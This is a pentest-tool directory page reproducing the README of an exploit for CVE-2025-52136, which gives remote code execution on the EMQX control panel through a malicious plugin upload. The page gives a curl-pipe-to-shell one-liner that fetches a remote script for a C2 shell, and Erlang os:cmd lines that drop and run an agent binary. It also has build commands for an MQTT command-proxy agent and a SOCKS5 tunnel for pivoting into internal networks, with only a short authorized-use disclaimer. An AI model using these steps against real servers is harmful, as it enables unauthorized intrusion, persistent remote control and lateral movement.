Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-52136 — Exploit for CVE-2025-52136 enabling RCE on EMQX control panel via plugin upload, with MQTT-based command agent and SOCKS5 tunnel for out-of-band C2 and network pivoting. | Kitploit
Tools/GitHubGitHub/f1r3k0/cve-2025-52136
ExploitationLateral MovementWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubf1r3k0/cve-2025-52136

CVE-2025-52136

Exploit for CVE-2025-52136 enabling RCE on EMQX control panel via plugin upload, with MQTT-based command agent and SOCKS5 tunnel for out-of-band C2 and network pivoting.

View Repository
510 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-52136

root@kitploit:~
https://github.com/ricardojoserf/emqx-RCE
The original exploitation method uploads an EMQX plugin and adds Erlang os module calls in the plugin template code to execute system commands for RCE.

In an outbound network environment, curl is available by default, so you can directly use curl http://xx.xx.xx.xx/1.sh | sh to get a C2 shell.

When the target has no outbound access, since EMQX itself is an MQTT message server, you can combine it with plugin upload to execute the uploaded executable on the EMQX server. Using EMQX as the MQTT message queue core, the deployed program acts as a "system command proxy": it subscribes to commands sent by clients and publishes the execution results back to a topic.

Design

root@kitploit:~
       +-------------+
       |   Client    |
       | Send command|
       | Topic: rx/cmd|
       +------+-------+
              |
           MQTT Broker (EMQX)
              |
       +------+-------+
       | Command proxy|
       | Sub rx/cmd   |
       | Exec sys cmd |
       | Pub tx/cmd   |
       +--------------+

Build & Usage

root@kitploit:~
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go

Then, following the original author's approach, add three lines to my_emqx_plugin.erl:

root@kitploit:~
    os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
    os:cmd("chmod +x /tmp/mqtt_agent"),
    os:cmd("bash -c \"/tmp/mqtt_agent\""),

After compiling the plugin, use any compression tool to place mqtt_agent into the my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ directory.

tar.gz

Upload the plugin plugin

Then, on the client side, add a subscription to tx/cmd and publish to the topic rx/cmd, and you're ready to go.

cmd

Proxy Tunnel

Similarly, you can open a tunnel between Client ↔ Agent via MQTT, forwarding TCP data bidirectionally through MQTT to the internal Agent, which then connects to the internal target host to achieve intranet penetration.

This approach has some limitations:

  1. MQTT bandwidth and latency
  2. High concurrency connections
root@kitploit:~
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid

go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go

The usage is similar to the RCE process described above; here we directly use a local port as a SOCKS5 tunnel to forward traffic.

Agent-side notes

  • The Agent must be compatible with custom topics and control messages (open/ack/close, data/c2a, data/a2c)
  • The Agent subscribes to tunnel/+/+/ctrl and tunnel/+/+/data/c2a
  • The Agent publishes to tunnel/{session}/{connID}/data/a2c and the ack on .../ctrl

Compile and use the proxy tunnel yourself.

Disclaimer

This tool is intended for use only in authorized environments or test environments. Any illegal use is strictly prohibited.

Download Tool